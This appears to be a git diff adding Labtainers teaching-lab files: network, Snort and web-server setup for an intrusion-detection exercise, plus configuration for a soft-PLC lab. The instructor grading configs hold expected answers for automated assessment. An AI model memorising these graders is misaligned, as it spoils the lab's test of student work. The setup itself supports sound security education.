+1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_system/etc/rc.local new file mode 100755 index 000000000..1f774c1c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_system/etc/rc.local @@ -0,0 +1,52 @@ +#!/bin/bash +route delete default +route add default gw 203.0.113.1 +# +# get ethernet device names for the two lans and the wan interfaces +# +lan1=$(ifconfig | grep -B1 "inet addr:192.168.1.10" | awk '$1!="inet" && $1!="--" {print $1}') +lan2=$(ifconfig | grep -B1 "inet addr:192.168.2.10" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:203.0.113.10" | awk '$1!="inet" && $1!="--" {print $1}') +# +# flush and delete all chains +# +iptables --flush +iptables -t nat --flush +iptables -t mangle --flush +iptables --delete-chain +iptables -t nat --delete-chain +iptables -t mangle --delete-chain +# +# mirror incoming wan traffic to snort +# +iptables -t mangle -A PREROUTING -i $wan -j TEE --gateway 192.168.3.1 +iptables -t mangle -A PREROUTING -i $lan1 -j TEE --gateway 192.168.3.1 + +# +# Define NAT for traffic from LANs to the WAN +# +iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +#iptables --append FORWARD --in-interface $lan1 -j ACCEPT +#iptables --append FORWARD --in-interface $lan2 -j ACCEPT + +#sudo iptables -A FORWARD -i $wan -o $lan1 -p tcp --syn --dport 80 -m conntrack --ctstate NEW -j ACCEPT +#sudo iptables -A FORWARD -i $wan -o $lan1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT +#sudo iptables -A FORWARD -i $lan1 -o $wan -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT +sudo iptables -t nat -A PREROUTING -i $wan -p tcp --dport 80 -j DNAT --to-destination 192.168.1.2 +sudo iptables -t nat -A POSTROUTING -o $lan1 -p tcp --dport 80 -s 192.168.0.0/16 -j RETURN +sudo iptables -t nat -A POSTROUTING -o $lan1 -p tcp --dport 80 -d 192.168.1.2 -j SNAT --to-source 192.168.1.10 +sudo iptables -t nat -A PREROUTING -i $wan -p tcp --dport 443 -j DNAT --to-destination 192.168.1.2 +sudo iptables -t nat -A POSTROUTING -o $lan1 -p tcp --dport 443 -d 192.168.1.2 -j SNAT --to-source 192.168.1.10 +sudo iptables -t nat -A PREROUTING -i $wan -p tcp --dport 22 -j DNAT --to-destination 192.168.1.2 +sudo iptables -t nat -A POSTROUTING -o $lan1 -p tcp --dport 22 -d 192.168.1.2 -j SNAT --to-source 192.168.1.10 +sudo iptables -t nat -A PREROUTING -i $wan -p tcp --dport 4444 -j DNAT --to-destination 192.168.1.2 +sudo iptables -t nat -A POSTROUTING -o $lan1 -p tcp --dport 4444 -d 192.168.1.2 -j SNAT --to-source 192.168.1.10 + +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +/etc/init.d/dnsmasq restart + +echo "nameserver 203.0.113.1" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_system/sbin/faux_init new file mode 100755 index 000000000..e33f13baa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/goals.config new file mode 100644 index 000000000..feeedd1b7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/goals.config @@ -0,0 +1,18 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# + +# DOC: Snort alerts for CONFIDENTIAL access from local +snort_local_conf = matchany : string_equal : conf_alarm_from : answer=192.168.2.1 +# DOC: Snort alerts for CONFIDENTIAL access from remote +snort_remote_conf = matchany : string_equal : conf_alarm_from : answer=192.168.1.10 + +# GROUP: the httpd log entries that occured during specific snort sessions +snort_remote_fire = time_during : _log_plan_remote : snort_remote_conf +snort_local_fire = time_during : _log_plan_local : snort_local_conf + +# DOC: Was there a snort session with remote alarm, no local alarm, and a local nmap alarm +# during which the plan was accessed locally & remotely? +proper_config = boolean : (snort_remote_fire and_not snort_local_fire and snort_local_nmap) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/pregrade.sh new file mode 100755 index 000000000..49575a906 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/results.config new file mode 100644 index 000000000..d6f623756 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/instr_config/results.config @@ -0,0 +1,13 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +# +# httpd log entries reflecting access to the business plan, from local and then remote +_log_plan_local = web_server:/var/log/httpd/access_log : FILE_REGEX_TS : 192.168.2.1.*plan.html.* +_log_plan_remote = web_server:/var/log/httpd/access_log : FILE_REGEX_TS : 192.168.1.10.*plan.html.* + +# destination address of snort alert resulting from access to plan +conf_alarm_from = snort:start_snort.sh.stdout : GROUP : 1 : REGEX : CONFIDENTIAL.* -> (.*): + +# snort alert resulting from local use of nmap +snort_local_nmap = snort:start_snort.sh.stdout : FILE_REGEX : ICMP PING NMAP .* -> 192.168.1.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/isp/_bin/fixlocal.sh new file mode 100755 index 000000000..e7aeef6bd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/isp/_bin/fixlocal.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +lan1=$(ifconfig | grep -B1 "inet addr:203.113.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/isp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/isp/_system/sbin/faux_init new file mode 100755 index 000000000..7eb17975b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/isp/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq restart + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_system/etc/rc.local new file mode 100755 index 000000000..2a7a119b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_system/etc/rc.local @@ -0,0 +1,25 @@ +#!/bin/bash +route delete default +route add default gw 203.0.113.1 +# +# get ethernet device names for the three interfaces +# +lan1=$(ifconfig | grep -B1 "inet addr:172.16.0.10" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:203.0.113.20" | awk '$1!="inet" && $1!="--" {print $1}') +# +# Define NAT for traffic from LANs to the WAN +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain +iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +iptables --append FORWARD --in-interface $lan1 -j ACCEPT +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +/etc/init.d/dnsmasq restart + +echo "nameserver 203.0.113.1" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_system/sbin/faux_init new file mode 100755 index 000000000..1175f02d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_gw/_system/sbin/faux_init @@ -0,0 +1,20 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +service dnsmasq start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_system/etc/rc.local new file mode 100755 index 000000000..5d32ec764 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +route delete default +route add default gw 172.16.0.10 +echo "nameserver 172.16.0.10" > /etc/resolv.conf +route del -host 172.17.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_system/sbin/faux_init new file mode 100755 index 000000000..314f0f850 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/_system/sbin/faux_init @@ -0,0 +1,20 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +# +# docker bug? race condition? without sleep, the container exits +# +sleep 2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/home_tar/.mozilla/firefox/47gt7tqf.default/cert8.db b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/home_tar/.mozilla/firefox/47gt7tqf.default/cert8.db new file mode 100644 index 000000000..96c129e09 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/home_tar/.mozilla/firefox/47gt7tqf.default/cert8.db differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/home_tar/.mozilla/firefox/47gt7tqf.default/cert_override.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/home_tar/.mozilla/firefox/47gt7tqf.default/cert_override.txt new file mode 100644 index 000000000..dc31692cb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/remote_ws/home_tar/.mozilla/firefox/47gt7tqf.default/cert_override.txt @@ -0,0 +1,3 @@ +# PSM Certificate Override Settings file +# This is a generated file! Do not edit. +www.example.com:443 OID.2.16.840.1.101.3.4.2.1 51:ED:F9:81:C4:B6:33:BF:6E:50:59:67:E0:D7:AF:49:85:CB:05:0B:69:42:20:87:FE:A5:D1:03:87:ED:F0:32 MU AAAAAAAAAAAAAAACAAAArB/rMIGpMQswCQYDVQQGEwItLTESMBAGA1UECAwJU29tZVN0YXRlMREwDwYDVQQHDAhTb21lQ2l0eTEZMBcGA1UECgwQU29tZU9yZ2FuaXphdGlvbjEfMB0GA1UECwwWU29tZU9yZ2FuaXphdGlvbmFsVW5pdDEVMBMGA1UEAwwMZjE4ZWNiNDIxNDRkMSAwHgYJKoZIhvcNAQkBFhFyb290QGYxOGVjYjQyMTQ0ZA== diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_bin/fixlocal.sh new file mode 100755 index 000000000..5591a19ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_bin/fixlocal.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Use gateway as the name server +# + +# Avoid the circle of death -- no packet forwarding back to the gateway! +sudo sysctl -w net.ipv4.ip_forward=0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_system/etc/rc.local new file mode 100755 index 000000000..90033689f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_system/etc/rc.local @@ -0,0 +1,7 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.3.10 +sudo sysctl -w net.ipv4.ip_forward=0 + +echo "nameserver 192.168.3.10" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/start_snort.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/start_snort.sh new file mode 100755 index 000000000..f19a72587 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/snort/start_snort.sh @@ -0,0 +1,2 @@ +#!/bin/bash +sudo snort -A console -q -c /etc/snort/snort.conf -i eth0 -k none diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_bin/fixlocal.sh new file mode 100755 index 000000000..f7570d33c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_bin/fixlocal.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo chown -R apache:apache /var/www/html diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/etc/rc.d/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/etc/rc.d/rc.local new file mode 100755 index 000000000..6a6c887ab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/etc/rc.d/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +# +route delete default +route add default gw 192.168.1.10 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/var/www/html/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/var/www/html/index.html new file mode 100644 index 000000000..619820e73 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/var/www/html/index.html @@ -0,0 +1,11 @@ + + +Hunderblunder and Thunder + + +

Hunderblunder and Thunder Turkey Ranch

+ +

Watch this space!

+ + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/var/www/html/plan.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/var/www/html/plan.html new file mode 100644 index 000000000..f9dc5ff9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/web_server/_system/var/www/html/plan.html @@ -0,0 +1,12 @@ + + +Hunderblunder and Thunder CONFIDENTIAL + + +

Hunderblunder and Thunder Turkey Ranch

+

Startup Business Plan: CONFIDENTIAL

+ +

First we get some turkey eggs and figure out how to hatch them. Then we get some turkey feed. Then we find an ax. OK, I did my bit, you guys run with it.

+ + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_bin/fixlocal.sh new file mode 100755 index 000000000..849e19264 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Use gateway as the name server +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_system/etc/rc.local new file mode 100755 index 000000000..cd8c09c66 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_system/etc/rc.local @@ -0,0 +1,7 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.2.10 +route delete default +route add default gw 192.168.2.10 +echo "nameserver 192.168.2.10" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_system/sbin/faux_init new file mode 100755 index 000000000..c2ab21942 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/ws2/_system/sbin/faux_init @@ -0,0 +1,17 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +sleep 2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/about.txt new file mode 100644 index 000000000..0bfcd8e43 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/about.txt @@ -0,0 +1 @@ +Program a software-based programmable logic controller (PLC) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/parameter.config new file mode 100644 index 000000000..ba1e11263 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# +SOFTPLC : HASH_REPLACE : /sbin/OpenPLC_v2x/server.js : UniqueID : mysoftplcuniqueid +SOFTPLC : HASH_REPLACE : /sbin/OpenPLC_v2x/core/modbus.cpp : UniqueID : mysoftplcuniqueid + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/start.config new file mode 100644 index 000000000..7a47234b3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/config/start.config @@ -0,0 +1,45 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER softplc + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED softplc_test_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER softplc + # user name of user who interacts with the container. + USER ubuntu + # + # The number of terminals defaults to 2 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/dockerfiles/Dockerfile.softplc.softplc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/dockerfiles/Dockerfile.softplc.softplc.student new file mode 100644 index 000000000..8cce74004 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/dockerfiles/Dockerfile.softplc.softplc.student @@ -0,0 +1,35 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +# Need nodejs to start OpenPLC server +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + nodejs +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/docs/read_first.txt new file mode 100644 index 000000000..5e50b9fab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/docs/read_first.txt @@ -0,0 +1,7 @@ +SOFT PLC LAB -- Read this first + +The lab manual for this lab is at: + file://LAB_MANUAL + +Review the entire lab manual before proceeding with the lab. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/docs/softplc.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/docs/softplc.docx new file mode 100644 index 000000000..95f322a82 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/docs/softplc.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/goals.config new file mode 100644 index 000000000..df6d5ce86 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/goals.config @@ -0,0 +1,7 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +# all results in results.config + +#SUM: no automated assessment for this lab diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/results.config new file mode 100644 index 000000000..2f05dfd1a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/instr_config/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +# server.js +stop_server = softplc:/var/log/nodejs.log : CONTAINS : Stopping OpenPLC Software +start_server = softplc:/var/log/nodejs.log : CONTAINS : Starting OpenPLC Software +upload_file = softplc:/var/log/nodejs.log : CONTAINS : Uploading file + +# modbus.cpp +write_coil = softplc:/var/log/syslog : CONTAINS : WriteCoil -- address + diff 